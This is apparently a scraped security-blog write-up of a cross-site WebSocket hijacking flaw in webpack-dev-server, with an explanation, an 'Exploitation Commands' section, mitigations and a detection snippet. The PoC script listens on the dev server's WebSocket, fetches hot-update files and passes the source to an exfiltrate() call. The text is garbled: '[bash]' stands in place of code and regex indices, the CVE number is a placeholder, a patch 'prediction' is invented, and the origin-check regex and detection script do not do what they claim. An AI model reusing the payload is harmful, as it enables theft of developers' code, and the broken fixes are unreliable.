webpack-dev-server, Cross-site WebSocket Hijacking, CVE-2024-XXXX (Critical)

Listen to this Post

How the CVE Works

The vulnerability in webpack-dev-server stems from improper Origin header validation for WebSocket connections. While the server checks the `Origin` header to prevent Cross-site WebSocket Hijacking (CSWSH), it fails to enforce strict validation for IP-based origins, allowing malicious sites served from IP addresses to bypass security checks.
An attacker can craft a malicious webpage that initiates a WebSocket connection to a victim’s webpack-dev-server (typically running on localhost:8080). Since the server blindly trusts IP-based origins, the attacker can intercept WebSocket messages containing Hot Module Replacement (HMR) updates, which include application source code.
The exploit leverages the predictable structure of HMR update requests (

.[bash].hot-update.js</code>). By injecting a script that listens for WebSocket messages, the attacker retrieves file contents when the victim visits the malicious site using a non-Chromium browser (e.g., Firefox). Chromium-based browsers block this attack due to non-HTTPS private network restrictions.

<h2 style="color: blue;">DailyCVE Form</h2>

Platform: webpack-dev-server
Version: < 4.15.1
Vulnerability: CSWSH
Severity: Critical
Date: 2024-06-05

<h2 style="color: blue;">Prediction: Patch by 2024-07-15</h2>

<h2 style="color: blue;">What Undercode Say:</h2>

<h2 style="color: blue;">Exploitation Commands</h2>

[bash]
Start vulnerable webpack-dev-server
npx webpack-dev-server --port 8080
Malicious HTML PoC (save as exploit.html)
echo '

<script>
ws = new WebSocket("ws://localhost:8080/ws");
ws.onmessage = (e) => {
if (e.data.includes("hot-update")) {
fetch(e.data.match(/"([^"]+)\.hot-update\.js"/)[bash])
.then(res => res.text())
.then(code => exfiltrate(code));
}};
</script>

' > exploit.html
Host exploit (Python3)
python3 -m http.server 9000

Mitigation Steps

1. Update webpack-dev-server:

npm install webpack-dev-server@latest

2. Enforce HTTPS: Configure `webpack-dev-server` with HTTPS to trigger Chromium’s security restrictions.
3. Strict Origin Validation: Modify `Server.js` to reject IP-based origins:

if (!origin || !/^https?:\/\/[a-z0-9.-]+(:\d+)?$/i.test(origin)) {
ws.close(1008, "Invalid Origin");
}

4. Network Isolation: Run `webpack-dev-server` behind a firewall, restricting access to localhost.

Detection Script

// Check if WebSocket accepts IP origins
fetch('http://localhost:8080/sockjs-node/info')
.then(res => res.json())
.then(data => {
if (data.websocket) console.log("Vulnerable to CSWSH");
});

Analytics

  • Affected Users: Developers using `webpack-dev-server` in non-Chromium browsers.
  • Attack Complexity: Low (requires user interaction).
  • Exploit Prevalence: Rare (requires targeting dev environments).

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top